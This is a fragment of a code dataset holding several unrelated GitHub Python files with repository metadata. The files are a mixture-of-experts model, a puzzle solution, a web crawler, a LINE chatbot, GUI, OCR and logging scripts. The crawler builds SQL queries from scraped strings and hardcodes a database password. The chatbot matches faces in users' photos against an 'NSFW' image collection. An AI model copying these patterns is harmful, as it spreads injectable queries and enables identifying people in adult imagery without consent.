MoETransformer(BaseFairseqModel):\n \"\"\"MOELayer module which implements MixtureOfExperts as described in Gshard_.\n ::\n\n gate = Top2Gate(model_dim, num_experts)\n moe = MOELayer(gate, expert)\n output = moe(input)\n l_aux = moe.l_aux\n\n .. Gshard_: https://arxiv.org/pdf/2006.16668.pdf\n\n Args:\n gate (torch.nn.Module):\n gate network\n expert (torch.nn.Module):\n expert network\n \"\"\"\n\n def __init__(self, gate: Module, experts: Union[Module, ModuleList], args, group: Optional[Any] = None) -> None:\n super().__init__()\n self.gate = gate\n self.initial_layer = TransformerDecoderLayer(args)\n if type(experts) == ModuleList:\n self.experts = cast(ModuleList, experts)\n else:\n self.experts = ModuleList([experts])\n self.expert_group = group if group is not None else dist.group.WORLD\n for expert in self.experts:\n for p in experts.parameters():\n p.expert = True # type: ignore\n self.world_size = 1\n self.num_local_experts = len(self.experts)\n self.args = args\n self.in_generation = False\n\n def max_positions(self):\n \"\"\"Maximum output length supported by the decoder.\"\"\"\n return max([x.decoder.max_positions() for x in self.experts])\n\n def get_normalized_probs_scriptable(\n self,\n net_output: Tuple[Tensor, Optional[Dict[str, List[Optional[Tensor]]]]],\n log_probs: bool,\n sample: Optional[Dict[str, Tensor]] = None,\n ):\n \"\"\"Scriptable helper function for get_normalized_probs in ~BaseFairseqModel\"\"\"\n return self.experts[0].decoder.get_normalized_probs(net_output, log_probs, sample)\n \n\n def forward(self, \n src_tokens,\n encoder_out: Optional[Dict[str, List[Tensor]]] = None,\n incremental_state: Optional[Dict[str, Dict[str, Optional[Tensor]]]] = None,\n features_only: bool = False,\n full_context_alignment: bool = False,\n alignment_layer: Optional[int] = None,\n alignment_heads: Optional[int] = None,\n src_lengths: Optional[Any] = None,\n src_domain_idx: List[int] = None,\n return_all_hiddens: bool = False) -> Tensor:\n # assert len(input) == 1, \"only single input Tensor supported\"\n input, _= self.experts[1].decoder(src_tokens, features_only=True)\n # assert len(input.shape) == 3, \"input Tensor must have dimensions: (s)equence, (t)oken, (m)odel\"\n # assert input.shape[0] % len(self.experts) == 0, \"num tokens must be order of number of local experts\"\n\n # Implement Algorithm 2 from GShard paper.\n d_model = input.shape[2]\n # Pad to expected batch size\n input_shape = list(input.shape)\n expected_bsz = 16\n # This indicates that --batch-size or --max-sentences is not specified\n if expected_bsz is None:\n expected_bsz = 0\n # Note: Padding is not necessary at generation time at present\n # because all DDP workers process the same batch. Also, batch size at generation time\n # can be different from that present in the checkpoint state\n if not self.in_generation and expected_bsz != 0 and input_shape[0] != expected_bsz:\n print(f\"padding batch with unexpected size {input_shape[0]} (expected: {expected_bsz})\")\n assert input_shape[0] < expected_bsz, f\"{input_shape[0]} < {expected_bsz}\"\n padded_input = torch.zeros(\n (expected_bsz, input_shape[1], input_shape[2]),\n dtype=input.dtype, layout=input.layout, device=input.device)\n padded_input[:input_shape[0], :, :] = input\n input = padded_input\n\n # Reshape into S tokens by dropping sequence dimension.\n reshaped_input = input.reshape(-1, d_model)\n reshaped_input_shape = reshaped_input.shape\n\n # Doing padding here when --max-tokens is specified and not --batch-size or --max-sentences\n # Pro of --max-tokens: more flexible for MT variable sequence lengths\n # Con of --max-tokens: extra all-reduce needed to figure out optimal padding without running OOM\n if expected_bsz == 0:\n expected_dim = int(distributed_utils.all_reduce(\n reshaped_input_shape[0] * torch.ones((1,), dtype=torch.long, device=input.device),\n group=dist.group.WORLD,\n op=\"max\",\n ).item())\n padded_input = torch.zeros(\n (expected_dim, reshaped_input_shape[1]),\n dtype=input.dtype, layout=input.layout, device=input.device)\n padded_input[:reshaped_input_shape[0], :] = reshaped_input\n reshaped_input = padded_input\n self.l_aux, combine_weights, dispatch_mask, self.metadata = self.gate(reshaped_input, src_domain_idx=src_domain_idx)\n dispatched_input = torch.einsum(\"sec,sm->ecm\", dispatch_mask.to(input.dtype), src_tokens.reshape(-1).unsqueeze(-1).float()).long()\n # dispatched_input = _AllToAll.apply(self.expert_group, dispatched_input)\n # Re-shape after all-to-all: ecm -> gecm\n dispatched_input = dispatched_input.reshape(self.world_size, self.num_local_experts, -1, src_tokens.shape[1])\n chunks = dispatched_input.chunk(self.num_local_experts, dim=1)\n expert_outputs = []\n for chunk, expert in zip(chunks, self.experts):\n out, attn = expert(chunk.reshape(-1, src_tokens.shape[1]))\n expert_outputs += [out]\n # expert_outputs += [expert(chunk)]\n expert_output = torch.cat(expert_outputs, dim=1)\n # expert_output = _AllToAll.apply(self.expert_group, expert_output)\n # Re-shape back: gecm -> ecm\n expert_output = expert_output.reshape(self.world_size * self.num_local_experts, -1, 50264)\n combined_output = torch.einsum(\"sec,ecm->sm\", combine_weights, expert_output)\n # Remove padding here when --max-tokens is specified and not --batch-size or --max-sentences\n combined_output = combined_output[:reshaped_input_shape[0], :]\n # combined_output = combined_output.reshape(input.shape)\n # combined_output = combined_output[:input_shape[0], :, :]\n return combined_output.reshape(input.shape[0], -1, 50264), attn\n \n\n def prepare_for_inference_(self):\n self.in_generation = True\n","repo_name":"kernelmachine/demix","sub_path":"fairseq/models/moe_model.py","file_name":"moe_model.py","file_ext":"py","file_size_in_byte":7465,"program_lang":"python","lang":"en","doc_type":"code","stars":52,"dataset":"github-code","pt":"22"} +{"seq_id":"27494337070","text":"import sys\r\n\r\ndr = [-1, -1, 0, 1, 1, 1, 0, -1]\r\ndc = [0, 1, 1, 1, 0, -1, -1, -1]\r\n\r\nN, M, K = map(int, sys.stdin.readline().split())\r\n\r\ngraph = [[[] for _ in range(N + 1)] for _ in range(N + 1)]\r\nFireball = []\r\n\r\nfor _ in range(M):\r\n ri, ci, mi, si, di = map(int, sys.stdin.readline().split())\r\n Fireball.append([ri - 1, ci - 1, mi, si, di])\r\n \r\nfor _ in range(K):\r\n\r\n # FB 모두 이동\r\n while Fireball:\r\n ri, ci, mi, si, di = Fireball.pop(0)\r\n nr = (ri + dr[di] * si) % N\r\n nc = (ci + dc[di] * si) % N\r\n graph[nr][nc].append([mi, si, di])\r\n \r\n # 그래프 완탐하면서 2개 이상 쌓인 FB 처리하고 다시 FB 배열에 추가\r\n for r in range(N):\r\n for c in range(N):\r\n fb_cnt = len(graph[r][c])\r\n if fb_cnt > 1:\r\n total_mass, total_speed, odd_dir, even_dir, cnt = 0, 0, 0, 0, fb_cnt\r\n while graph[r][c]:\r\n mass, speed, direction = graph[r][c].pop(0)\r\n total_mass += mass\r\n total_speed += speed\r\n if direction % 2 == 0:\r\n even_dir += 1\r\n else:\r\n odd_dir += 1\r\n if even_dir == fb_cnt or odd_dir == fb_cnt:\r\n nd = [0, 2, 4, 6]\r\n else:\r\n nd = [1, 3, 5, 7]\r\n if total_mass // 5:\r\n for d in nd:\r\n Fireball.append([r, c, total_mass // 5, total_speed // fb_cnt, d])\r\n elif fb_cnt == 1:\r\n Fireball.append([r, c] + graph[r][c].pop())\r\n\r\nprint(sum([f[2] for f in Fireball]))","repo_name":"besforyou999/Baekjoon","sub_path":"백준/Gold/20056. 마법사 상어와 파이어볼/마법사 상어와 파이어볼.py","file_name":"마법사 상어와 파이어볼.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"70092954615","text":"#-*-coding:utf-8-*-\n\nimport urllib.request\nfrom bs4 import BeautifulSoup\nimport re\nfrom urllib.parse import urlparse\nimport pymysql\nimport datetime\nimport pytz\nimport time\n\nclass HtmlDownloader(object):\n\n def download(self, url):\n if url is None:\n return None\n\n response = urllib.request.urlopen(url)\n # print (response.getcode()) 返回200\n\n if response.getcode() != 200:\n return None\n\n return response.read()\n\n\nclass HtmlParser(object):\n\n # UTCS时间转换为时间戳 2018-07-13T16:00:00Z\n def cst_to_str(self, cst_time):\n temp_time = time.strptime(cst_time,'%a %b %d %H:%M:%S CST %Y')\n res_time = time.strftime('%Y-%m-%d %H:%M:%S',temp_time)\n return res_time\n\n def _get_new_urls(self,page_url,soup):\n new_urls = set()\n links = soup.find_all('a',href = re.compile(r'/zxdy/forum--method-listDefault,year-2014,forumid-442050,*')) \n for link in links:\n new_url = link['href']\n new_full_url = urlparse.urljoin(page_url,new_url)\t#urljoin将两段Url进行拼接\n new_urls.add(new_full_url)\n return new_urls\n\n def _get_new_data(self,page_url,soup):\n res_data = {} # 字典\n\n #content\n summary = soup.find_all('a',class_=\"question_t_txt\")\n questions = soup.find_all('div',class_=\"question\")\n answers = soup.find_all('div',class_=\"question_a\")\n department = soup.find_all(\"div\",class_=\"zx-yxmc\")\n time = soup.find_all(\"td\",class_=\"question_t ch-table-center\")\n for i in range(len(summary)):\n temp = {}\n q = questions[i].get_text().strip().encode('utf-8')\n a = answers[i].get_text().strip().split()[-1].encode('utf-8')\n s = summary[i].get_text().strip().encode('utf-8')\n d = department[i].get_text().strip().encode('utf-8')\n t = time[i].get_text().strip()\n temp['question'] = q\n temp['answer'] = a\n temp['summary'] = s\n temp['depart'] = d\n temp['time'] = self.cst_to_str(t)\n res_data[i] = temp\n return res_data\n\n def parse(self,page_url,html_cont):\n if page_url is None or html_cont is None:\n return\n\n #print 'html_cont:%s' %html_cont 打印成功\n soup = BeautifulSoup(html_cont,'html.parser',from_encoding = 'utf-8')\n new_urls = self._get_new_urls(page_url,soup)\t\t#两个本地方法处理链接和数据\n new_data = self._get_new_data(page_url,soup)\n return new_urls, new_data\n\n\nclass UrlManager(object):\n\n def __init__(self):\n self.old_urls = set()\n self.flag = False\n\n def get_new_url(self,cursor,connect):\n try :\n cursor.execute(\"select url from crawler_urldisplay where is_crawled=False LIMIT 1\")\n new_url = cursor.fetchone()[0]\n connect.commit()\n except:\n new_url = None\n return new_url\n\n def add_old_url(self,url):\n url = hash(url)\n if url in self.old_urls:\n self.flag = True\n else:\n self.flag = False\n self.old_urls.add(hash(url))\n return self.flag\n\nclass HtmlOutputer(object):\n\n def output(self,data,cursor,connect):\n for k,v in data.items():\n cursor.execute(\"insert ignore into crawler_qadisplay (question,answer,update_time) values('%s','%s','%s')\" % (v['question'], v['answer'], v['time']))\n connect.commit()\n\n\nclass SpiderMain(object): # 在构造函数中初始化各个对象\n\n def __init__(self):\n self.urls = UrlManager()\n self.downloader = HtmlDownloader()\n self.parser = HtmlParser()\n self.outputer = HtmlOutputer()\n\n def craw(self, root_url): # 调度程序\n #连接mysql数据库\n conn = pymysql.connect(user='root',password='123456',database='EnrollmentQA')\n #创建游标\n cur = conn.cursor()\n count = 1 # 计数\n cur.execute(\"insert into crawler_urldisplay (url,is_crawled) values('%s',False)\" %root_url)\n conn.commit()\n new_url = self.urls.get_new_url(cur, conn)\n while new_url: # 当管理器中存在新的URL,循环\n #try:\n self.urls.add_old_url(new_url) # url存入内存\n print ('crawl %d : %s' % (count, new_url))\n cur.execute(\"UPDATE crawler_urldisplay SET is_crawled=True where url='%s'\" % new_url) # 更新已爬取的url标签\n conn.commit()\n html_cont = self.downloader.download(new_url) # 下载页面\n new_urls, new_data = self.parser.parse(new_url, html_cont) # 解析器解析页面数据\n for url in new_urls:\n if self.urls.add_old_url(url):\n continue\n else:\n cur.execute(\"insert into crawler_urldisplay (url,is_crawled) values('%s',False)\" % url)\n conn.commit()\n self.outputer.output(new_data, cur, conn)\n #if count == 1: # 爬取1000个页面\n # break\n\n #count = count + 1\n\n new_url = self.urls.get_new_url(cur, conn) # 获取新的URL\n #except:\n # print ('crawl failed')\n\n cur.close()\n conn.close()\n\nif __name__ == \"__main__\":\n root_url = 'http://yz.chsi.com.cn/zxdy/forum--method-listDefault,year-2014,forumid-442050,start-0.dhtml' # 入口地址\n #main_url = 'http://yz.chsi.com.cn'\n obj_spider = SpiderMain()\n obj_spider.craw(root_url) # 启动爬虫\n\n\n","repo_name":"xiahei/demo","sub_path":"apps/crawler/crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":5596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"30737589372","text":"from linebot import LineBotApi, WebhookHandler\nfrom linebot.exceptions import InvalidSignatureError\nfrom linebot.models import *\nfrom bs4 import BeautifulSoup\nfrom urllib.parse import parse_qs\nimport requests\nimport json\nimport uuid\nimport boto3\nimport os\nimport re\n\ns3 = boto3.client(\n 's3', \n aws_access_key_id=os.environ['aws_access_key_id'], \n aws_secret_access_key=os.environ['aws_secret_access_key'], \n region_name=os.environ['region_name']\n)\n\nclass FaceFinder:\n def __init__(self, img) :\n self.s3_client = boto3.client(\n 's3', \n aws_access_key_id=os.environ['aws_access_key_id'], \n aws_secret_access_key=os.environ['aws_secret_access_key'], \n region_name=os.environ['region_name']\n )\n self.rek = boto3.client(\n 'rekognition',\n aws_access_key_id=os.environ['aws_access_key_id'], \n aws_secret_access_key=os.environ['aws_secret_access_key'], \n region_name=os.environ['region_name']\n )\n self.img = img\n\n def index_from_collection(self, MaxFaces=3, FaceMatchThreshold=30):\n collection = []\n with open(self.img, 'rb') as f :\n response = self.rek.search_faces_by_image(\n CollectionId=os.environ['CollectionId'],\n Image={\n 'Bytes':f.read()\n },\n MaxFaces=MaxFaces,\n FaceMatchThreshold=FaceMatchThreshold\n )\n if response['ResponseMetadata']['HTTPStatusCode'] == 200 :\n for face in response['FaceMatches'] :\n collection.append(\n {\n 'ImgURL': 'https://%s.s3-ap-northeast-1.amazonaws.com/NSFW/%s.jpeg'%(os.environ['Bucket'], face['Face']['ExternalImageId']),\n 'Similarity': face['Similarity'],\n 'TagSet': self.s3_client.get_object_tagging(Bucket=os.environ['Bucket'],Key='NSFW/%s.jpeg'%face['Face']['ExternalImageId'])['TagSet']\n }\n )\n return collection\n \n def index_from_celebrities(self, threshold=30):\n collection = []\n with open(self.img, 'rb') as f :\n response = self.rek.recognize_celebrities(\n Image={\n 'Bytes':f.read()\n }\n )\n if response['ResponseMetadata']['HTTPStatusCode'] == 200 :\n print(response['CelebrityFaces'])\n for face in response['CelebrityFaces'] :\n # Get matched celebrity image.\n r = requests.get('https://' + face['Urls'][0])\n soup = BeautifulSoup(r.content, 'html.parser')\n ele = soup.find_all(id='name-poster')\n if ele :\n ImgURL = ele[0]['src']\n collection.append(\n {\n 'ImgURL': ImgURL,\n 'Similarity': face['MatchConfidence'],\n 'TagSet': [{'Value' : face['Name']}]\n }\n )\n return collection\n\nclass FileIO :\n @classmethod\n def write_image_from_message(self, message_content) :\n with open('/tmp/user_upload.jpeg', 'wb') as f :\n for chunk in message_content.iter_content() :\n f.write(chunk)\n return '/tmp/user_upload.jpeg'\n @classmethod\n def write_token_json(self, token, result) :\n with open('/tmp/%s.json'%token, 'w') as f :\n json.dump(result, f)\n return '/tmp/%s.json'%token\n\n\ndef lambda_handler(even, context) : \n for e in json.loads(even['body'])['events'] :\n if e['type'] == 'message' :\n if e['message']['type'] == 'image':\n # LINE authentication\n line_bot_api = LineBotApi(os.environ['channel_access_token'])\n handler = WebhookHandler(os.environ['channel_secret'])\n\n # extract image from message\n message_id = e['message']['id']\n message_content = line_bot_api.get_message_content(message_id)\n image_path = FileIO.write_image_from_message(message_content)\n\n # image processing\n FF = FaceFinder(image_path)\n other = FF.index_from_collection()\n celebrity = FF.index_from_celebrities()\n print(other, celebrity)\n\n # generate token and write static to s3\n token = uuid.uuid4().hex\n line_bot_api.reply_message(e['replyToken'], generateOption(token))\n\n file_path = FileIO.write_token_json(token, {\n 'other': other,\n 'celebrity': celebrity\n })\n FF.s3_client.upload_file(\n Filename=file_path,\n Bucket=os.environ['Bucket'],\n Key='to-push/' + token + '.json',\n ExtraArgs={'ACL': 'public-read'}\n )\n\n elif e['type'] == 'postback' :\n # LINE authentication\n line_bot_api = LineBotApi(os.environ['channel_access_token'])\n handler = WebhookHandler(os.environ['channel_secret'])\n params = {k : v for k, v in parse_qs(e['postback']['data']).items()}\n if params :\n data = requests.get('https://%s.s3-ap-northeast-1.amazonaws.com/to-push/%s.json'%(os.environ['Bucket'], params['token'][0])).json()\n result = data[params['type'][0]]\n if result :\n contents = FlexSendMessage(alt_text='result', contents=generateReply(result))\n else :\n contents = TextSendMessage(text='Sorry, No similar face has been found in %s'%params['type'][0])\n line_bot_api.reply_message(e['replyToken'], contents)\n\ndef generateOption(token) :\n return TemplateSendMessage(\n alt_text=\"Select your checking reference.\",\n template=ConfirmTemplate(\n text=\"Select your checking reference.\",\n actions=[\n PostbackAction(\n label=\"Celebrities\",\n data=\"token=%s&type=celebrity\"%token,\n text=\"Celebrities\"\n ),\n PostbackAction(\n label=\"Other\",\n data=\"token=%s&type=other\"%token,\n text=\"Other\"\n )\n ]\n )\n )\n \ndef generateReply(faces) :\n carousel = {\n \"type\": \"carousel\",\n \"contents\": []\n }\n for face in faces :\n carousel['contents'].append(\n {\n \"type\": \"bubble\",\n \"body\": {\n \"type\": \"box\",\n \"layout\": \"vertical\",\n \"contents\": [\n {\n \"type\": \"image\",\n \"url\": \"%s\"%face[\"ImgURL\"],\n \"size\": \"full\",\n \"aspectMode\": \"cover\",\n \"aspectRatio\": \"1:1\",\n \"gravity\": \"center\"\n },\n {\n \"type\": \"image\",\n \"url\": \"https://scdn.line-apps.com/n/channel_devcenter/img/flexsnapshot/clip/clip15.png\",\n \"position\": \"absolute\",\n \"aspectMode\": \"fit\",\n \"aspectRatio\": \"1:1\",\n \"offsetTop\": \"0px\",\n \"offsetBottom\": \"0px\",\n \"offsetStart\": \"0px\",\n \"offsetEnd\": \"0px\",\n \"size\": \"full\"\n },\n {\n \"type\": \"box\",\n \"layout\": \"horizontal\",\n \"contents\": [\n {\n \"type\": \"box\",\n \"layout\": \"vertical\",\n \"contents\": [\n {\n \"type\": \"box\",\n \"layout\": \"horizontal\",\n \"contents\": [\n {\n \"type\": \"text\",\n \"text\": x['Value'],\n \"size\": \"md\",\n \"color\": \"#ffffff\"\n } for x in face[\"TagSet\"]\n ]\n },\n {\n \"type\": \"text\",\n \"text\": \"{}%\".format(int(face['Similarity'])),\n \"color\": \"#ffffff\",\n \"align\": \"start\",\n \"size\": \"xs\",\n \"gravity\": \"center\",\n \"margin\": \"lg\"\n },\n {\n \"type\": \"box\",\n \"layout\": \"vertical\",\n \"contents\": [\n {\n \"type\": \"box\",\n \"layout\": \"vertical\",\n \"contents\": [\n {\n \"type\": \"filler\"\n }\n ],\n \"width\": \"{}%\".format(int(face['Similarity'])),\n \"backgroundColor\": \"#808080\",\n \"height\": \"6px\"\n }\n ],\n \"backgroundColor\": \"#DCDCDC\",\n \"height\": \"6px\",\n \"margin\": \"sm\"\n }\n ],\n \"spacing\": \"xs\"\n }\n ],\n \"position\": \"absolute\",\n \"offsetBottom\": \"0px\",\n \"offsetStart\": \"0px\",\n \"offsetEnd\": \"0px\",\n \"paddingAll\": \"20px\"\n }\n ],\n \"paddingAll\": \"0px\"\n }\n }\n )\n return carousel\n ","repo_name":"MarshallChiang/LINE-chatbot","sub_path":"LINE.py","file_name":"LINE.py","file_ext":"py","file_size_in_byte":10615,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"23437749990","text":"#!/usr/bin/python3\n#***********************************************************************\n# FILES:\n# 03_py_pyqt5_v_layout.py\n# \n# USAGE: \n#\t\t\t\t ./03_py_pyqt5_v_layout.py\n#\t\t\t\tor\n#\t\t\t\t python3 03_py_pyqt5_v_layout.py\n# \n# DESCRIPTION: PyQt Form Vertical layout example\n# \n# OPTIONS: ---\n# REQUIREMENTS: Python, Qt5\n# BUGS: ---\n# NOTES: Qt5 Python tutorial\n# AUTHOR: Mahdi Bahmani (www.itstorage.co)\n# ORGANIZATION: merdasco\n# CREATED: 2020/05/22 22:11:21\n# LAST EDITED: \n# REVISION: 1.1\n#**********************************************************************/\n#-----------------------------------------------------------------------\nimport sys\nfrom PyQt5 import QtWidgets\nfrom PyQt5.QtWidgets import QApplication\nfrom PyQt5.QtWidgets import QPushButton\nfrom PyQt5.QtWidgets import QVBoxLayout\nfrom PyQt5.QtWidgets import QWidget\nfrom PyQt5.QtWidgets import QLabel\n#-----------------------------------------------------------------------\t\n# Window class definition\nclass MyMainWindow(QWidget):\n\t\n\t# Initializer function\n\tdef __init__(self):\n\t\tsuper().__init__()\n\n\t\tself.initUI()\n\t\n\t# function definition\n\tdef initUI(self):\n\t\t\n\t\t# Create Widgets\n\t\tlayout = QVBoxLayout()\n\t\tlabel1 = QLabel('PyQt Form Vertical layout example:')\n\t\tqtbtn = QPushButton('Top')\n\t\tqcbtn = QPushButton('Center')\n\t\tqbbtn = QPushButton('Bottom')\n\t\t\n\t\t\n\t\t# Set attributes\n\t\tself.resize(280,150)\n\t\tself.setWindowTitle('PyQt5 - QVBoxLayout')\n\t\t\n\t\t# Pack everything and display\n\t\tlayout.addWidget(label1)\n\t\tlayout.addWidget(qtbtn)\n\t\tlayout.addWidget(qcbtn)\n\t\tlayout.addWidget(qbbtn)\n\t\tself.setLayout(layout)\n\t\t\n\t\t# Display\n\t\tself.show()\n#-----------------------------------------------------------------------\t\n# main function\ndef main():\n\t\n\t# Initialize the environment \n\tapp = QtWidgets.QApplication(sys.argv)\n\twindow = MyMainWindow()\n\tsys.exit(app.exec_())\n#-----------------------------------------------------------------------\t\n\t\t\nif __name__ == '__main__':\n main()\n","repo_name":"mbahmani80/Python_QT_PyGObject","sub_path":"PyQt5_Qt_Designer_python/03_py_pyqt5_v_layout.py","file_name":"03_py_pyqt5_v_layout.py","file_ext":"py","file_size_in_byte":2049,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"22333757851","text":"import cv2 as cv\nimport numpy as np\nimport pytesseract as pyts\npyts.pytesseract.tesseract_cmd = r\"C:\\Program Files\\Tesseract-OCR\\tesseract.exe\"\n\nimg = cv.imread(\"test_ocr.png\")\nimg=cv.cvtColor(img,cv.COLOR_BGR2GRAY)\nimg=cv.threshold(img,0,255,cv.THRESH_BINARY+cv.THRESH_OTSU)[1]\n\nfor i in range(57):\n for j in range(810):\n img[i,j]=255\n\nfor i in range(101,315):\n for j in range(810):\n img[i,j]=255\n \nfor i in range(360,406):\n for j in range(810):\n img[i,j]=255\n\nfor i in range(406):\n for j in range(52):\n img[i,j]=255\n\nfor i in range(406):\n for j in range(230,320):\n img[i,j]=255\n\nfor i in range(406):\n for j in range(505,595):\n img[i,j]=255\n\nfor i in range(406):\n for j in range(775,810):\n img[i,j]=255\n\n\n#img = cv.medianBlur(img,5)\ntext = pyts.image_to_string(img)\nprint(text)\ncv.imshow('valzkai ae',img)\ncv.waitKey(0)","repo_name":"harinideepthi/AI-Demons","sub_path":"demon-vision/ocr.py","file_name":"ocr.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"4465736891","text":"# Write program that:\n# •\tReads an input string\n# •\tReverses it using a stack\n# •\tPrints the result back on the console\n\ndef add_it(text):\n while len(text) > 0:\n stacks.append(string.pop())\n return \"\".join(stacks)\n\n\nstring = list(input())\n\nstacks = list()\n\nprint(add_it(string))\n","repo_name":"boyan-petkov/Python","sub_path":"Advanced/Lab and Exercises/Lists as Stacks and Queues - Lab/1_reverse_strings.py","file_name":"1_reverse_strings.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16084134814","text":"from _comp import *\r\n\"\"\"\r\n\r\n\r\nstart='''\r\nif {as_set}:\r\n {var_name}=set([])\r\nelse:\r\n {var_name}=[]\r\nscanner_coms.clear()\r\n'''\r\nframe='''\r\n_new_messages = scanner_coms.messages(clear_after=True,as_set={as_set})\r\nif {clear_every_frame}:\r\n {var_name}=_new_messages\r\nelse:\r\n if {as_set}:\r\n {var_name}.update(_new_messages)\r\n else:\r\n {var_name}.append(_new_messages)\r\n'''\r\n\r\n#fixme: need to verify that the component time windows are applied automatically.\r\n\r\n@Comp(\"communicate with scanner (trigger, buttons, etc.)\")\r\nclass ScannerComsComponent(BaseComp):\r\n def __init__(self, exp, parentName, name='scanner_coms_use', var_name='coms', as_set=True, clear_every_frame=True):\r\n BaseComp.__init__(self,exp,parentName,name, timed_component=True)\r\n \r\n self.param('var_name',var_name, hint = \"variable in which the received signals are listed\", label=\"Variable name\")\r\n self.param('as_set',as_set, 'bool', hint = \"if True, is a set. Else, a list.\", label=\"Store as a set?\")\r\n self.param('clear_every_frame',clear_every_frame, 'bool', hint=\"If true, will only give the signals that arrived since the previous frame\", label=\"Clear every frame?\")\r\n \r\n self.start_code=start\r\n self.frame_code=frame\r\n\"\"\"\r\n\r\n\r\n\r\n#comp: need more case studies. Can/Should I support timing of specific events?\r\n# perhaps with offsets? Also full routine. need to have only one Log defined at the start,\r\n# not sure if I can do some neat ordering trick or if I should just have this default\r\n# instantiated or static.\r\n#idea: have at least 2 components. One initializes (with settings like save prefix)\r\n# and another that logs things. That is a good style to follow.\r\nfrom collections import defaultdict\r\nclass Log(object):\r\n '''\r\n Manually log events in your experiment, export them as csv tables and afni timing files.\r\n The PsychoPy logs don't necessarially reflect the regressors you actually want, and don't\r\n output the timings in a ready-to-use format either. This object gives you full control\r\n over what events to log and how to log them, then gives you timing files that can be\r\n immediately used for analysis.\r\n \r\n \r\n Example:\r\n \r\n #initialize\r\n log = Log()\r\n \r\n #use\r\n log.start('some_event')\r\n # stuff happens...\r\n log.stop('some_event')\r\n # can do that multiple times, with multiple event names, overlapping events are fine...\r\n \r\n # save csv tables to files like .csv\r\n log.save_csv(prefix)\r\n # save afni 1D timing files named like (_dm).1D. both just the event onsets and also duration modulated (_dm) versions.\r\n log.save_afni(prefix)\r\n \r\n \r\n for perfect timing accurracy, supply the timestamp explicitly. For example:\r\n \r\n # eventA will start just a tiny bit before eventB\r\n log.start('eventA')\r\n log.start('eventB')\r\n \r\n # perfectionist, now both events start at exactly the same time in the logs\r\n time=core.getTime()\r\n log.start('eventA',time)\r\n log.start('eventB',time)\r\n \r\n '''\r\n def __init__(self):\r\n self._starts=defaultdict(list)\r\n self._stops=defaultdict(list)\r\n self._started=defaultdict(lambda:False)\r\n self._runs=defaultdict(list)\r\n self._finished=False\r\n self._run=-1\r\n def next_run(self):\r\n self._run+=1\r\n #idea: safer to pass the timein, else you have small differences where you wouldn't expect them\r\n # (as every line of code takes *some* time at least). Is there a frame-time in Psychopy that would\r\n # be more convenient?\r\n def start(self,what,time=None):\r\n '''\r\n log the start of an event named . If time not supplied, it is determined by core.getTime\r\n '''\r\n if time is None:\r\n time=core.getTime()\r\n if self._finished:\r\n raise RuntimeError('this log is already finished, cannot add more to it!')\r\n if self._started[what]:\r\n raise RuntimeError(\"trying to log the start of '{}', but the last occurance hasn't ended yet!\".format(what))\r\n self._started[what]=True\r\n self._starts[what].append(time)\r\n self._runs[what].append(self._run)\r\n return time\r\n def stop(self,what,time=None):\r\n '''\r\n log the end of an event named . If time not supplied, it is determined by core.getTime\r\n '''\r\n if time is None:\r\n time=core.getTime()\r\n if self._finished:\r\n raise RuntimeError('this log is already finished, cannot add more to it!')\r\n if not self._started[what]:\r\n raise RuntimeError(\"trying to log the end of '{}', but it hasn't been started!\".format(what))\r\n self._started[what]=False\r\n self._stops[what].append(time)\r\n return time\r\n def finish(self):\r\n '''\r\n called automatically, though no harm in calling it yourself if you know everything\r\n is finished. perhaps a good assertion of sorts (RuntimeErrors raised if\r\n any further logging attempts are made after the Log is finished).\r\n '''\r\n if not self._finished:\r\n self._finished=True\r\n self.events=dict()\r\n self.num_runs=self._run+1\r\n names=self._starts.keys()\r\n \r\n bad=[]\r\n for name in names:\r\n if self._started[name]:\r\n bad.append(name)\r\n if bad:\r\n raise RuntimeError('this log was stopped before all events were stopped: {}'.format(bad))\r\n \r\n bad=dict()\r\n for name in names:\r\n starts=self._starts[name]\r\n stops=self._stops[name]\r\n run=self._runs[name]\r\n if len(starts)!=len(stops):\r\n bad[name]=(starts,stops)\r\n continue\r\n df=pd.DataFrame(dict(start_s=starts,stop_s=stops))\r\n df['duration_s'] = df.stop_s-df.start_s\r\n df['run']=run\r\n self.events[name]=df\r\n if bad:\r\n raise RuntimeError(\"the following events couldn't be saved because there was a mismatch in the number of start and stop times logged:\\n{}\".format(bad))\r\n \r\n # runs not explicitly marked by user, so default to just 1 run\r\n if not self.num_runs:\r\n for name in names:\r\n self.events[name].run=0\r\n self.num_runs=1\r\n else:\r\n raise NotImplementedError(\"haven't quite gotten multiple runs working yet...\")\r\n \r\n def save_csv(self,prefix):\r\n '''\r\n save csv tables for onset/duration per event\r\n \r\n for each event_name:\r\n save event log in .csv\r\n '''\r\n self.finish()\r\n for name,df in self.events.items():\r\n df.to_csv(prefix+name+'.csv', index_label='index')\r\n def save_afni(self,prefix):\r\n '''\r\n make afni 1D files for regression!\r\n \r\n for each event_name:\r\n save onset times in .1D\r\n save onsets and durations in _dm.1D\r\n '''\r\n self.finish()\r\n for name,df in self.events.items():\r\n # group by run\r\n onsets=[]\r\n durations=[]\r\n for r in xrange(self.num_runs):\r\n onsets.append(df[df.run==r].start_s.values)\r\n durations.append(df[df.run==r].duration_s.values)\r\n # format and write to file\r\n with open(prefix+name+'.1D','w') as f:\r\n f.write(str1D(onsets,multi=True))\r\n with open(prefix+name+'_dm.1D','w') as f:\r\n f.write(str1D(onsets,dm=durations,multi=True))\r\n ","repo_name":"navotnaor/jkpsycho","sub_path":"jkpsycho/Log.py","file_name":"Log.py","file_ext":"py","file_size_in_byte":7975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5263964801","text":"class Site(object):\n \"\"\"\n Misago user sites controller\n\n Allows for adding custom views to User CP, Users Lists and User Profile\n \"\"\"\n def __init__(self, name):\n self._finalized = False\n self.name = name\n self._unsorted_list = []\n 